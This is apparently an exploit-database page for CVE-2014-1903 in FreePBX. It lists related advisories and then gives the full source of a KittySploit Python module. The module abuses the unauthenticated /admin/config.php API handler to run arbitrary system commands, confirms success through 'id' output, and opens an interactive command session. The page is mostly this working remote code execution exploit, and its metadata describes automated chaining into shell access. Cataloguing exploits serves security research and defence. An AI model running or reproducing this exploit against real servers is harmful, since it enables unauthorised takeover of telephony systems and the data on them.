FreePBX - API handler system() RCE (CVE-2014-1903)
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| FreePBX config.php Remote Code Execution Vulnerability | 25 Mar 201400:00 | – | zdt | |
| CVE-2014-1903 | 12 Mar 201400:00 | – | circl | |
| FreePBX config php Code Execution (CVE-2014-1903) | 18 May 201400:00 | – | checkpoint_advisories | |
| CVE-2014-1903 | 18 Feb 201411:00 | – | cve | |
| CVE-2014-1903 | 18 Feb 201411:00 | – | cvelist | |
| FreePBX 2.11.0 - Remote Command Execution | 12 Mar 201400:00 | – | exploitdb | |
| FreePBX - 'config.php' Remote Code Execution (Metasploit) | 25 Mar 201400:00 | – | exploitdb | |
| FreePBX 2.11.0 - Remote Command Execution | 12 Mar 201400:00 | – | exploitpack | |
| FreePBX - API handler system() Detection (CVE-2014-1903) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2014-1903 | 18 Feb 201411:00 | – | mend |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FreePBX API handler system() RCE (CVE-2014-1903) — opens execute session."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'FreePBX - API handler system() RCE (CVE-2014-1903)',
'description': (
'Exploits CVE-2014-1903 via /admin/config.php handler=api function=system. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2014-1903'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2014-1903'],
'tags': ['freepbx', 'rce', 'unauth', 'cve-2014-1903'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2014_1903_detect'],
},
},
}
base_path = OptString('', 'Optional FreePBX base path', required=False)
def _prefix(self) -> str:
base = str(self.base_path or '').strip()
if not base or base == '/':
return ''
if not base.startswith('/'):
base = '/' + base
return base.rstrip('/')
def execute(self, cmd: str) -> str:
tag = self.random_text(6)
safe = quote(str(cmd), safe='')
path = (
f'{self._prefix()}/admin/config.php?display={tag}&handler=api&file={tag}'
f'&module={tag}&function=system&args={safe}'
)
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r:
return ''
return r.text or ''
def handler_execute(self):
out = self.execute('id')
if not out or not re.search(r'uid=\d+', out):
print_error('Target does not appear vulnerable to CVE-2014-1903')
return False
print_success('FreePBX API system() RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
6Medium risk
Vulners AI Score6
CVSS 27.5
EPSS0.52775